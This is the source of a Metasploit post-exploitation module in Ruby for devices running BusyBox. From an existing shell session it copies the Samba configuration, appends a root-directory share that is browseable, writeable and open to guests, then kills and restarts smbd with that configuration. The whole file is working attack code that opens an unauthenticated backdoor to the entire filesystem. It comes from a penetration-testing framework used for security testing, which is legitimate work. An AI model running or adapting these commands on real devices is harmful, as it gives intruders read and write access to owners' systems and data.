metasploit-framework/modules/post/linux/busybox/smb_share_root.rb

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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Post
include Msf::Post::File
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include Msf::Post::Linux::BusyBox
def initialize
super(
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'Name' => 'BusyBox SMB Sharing',
'Description' => %q{
This module will be applied on a session connected to a BusyBox shell. It will modify
the SMB configuration of the device executing BusyBox to share the root directory of
the device.
},
'Author' => 'Javier Vicente Vallejo',
'License' => MSF_LICENSE,
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'Platform' => ['linux'],
'SessionTypes' => ['shell']
)
end
def run
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print_status('Checking smb.conf...')
if read_file('/var/samba/smb.conf').length > 0 #file? doesnt work because test -f is not implemented in busybox
print_status('smb.conf found, searching writable directory...')
writable_directory = get_writable_directory
if writable_directory
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print_status('writable directory found, copying smb.conf and restarting smbd')
copy_smb_conf(writable_directory)
else
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print_error('Writable directory not found')
end
else
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print_error('smb.conf not found')
end
end
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def copy_smb_conf(dir)
cmd_exec_delay("rm -f #{dir}smb.conf")
cmd_exec_delay("cp -f /var/samba/smb.conf #{dir}smb.conf")
cmd_exec_delay("echo -e '[rootdir]\ncomment = rootdir\npath = /\nbrowseable = yes\nwriteable = yes\nguest ok = yes\n' >> #{dir}smb.conf")
cmd_exec_delay('killall smbd')
cmd_exec_delay("smbd -D -s #{dir}smb.conf")
cmd_exec_delay("smbd -D -s=#{dir}smb.conf")
end
def cmd_exec_delay(command)
res = cmd_exec(command)
vprint_status(res)
Rex.sleep(0.1)
end
end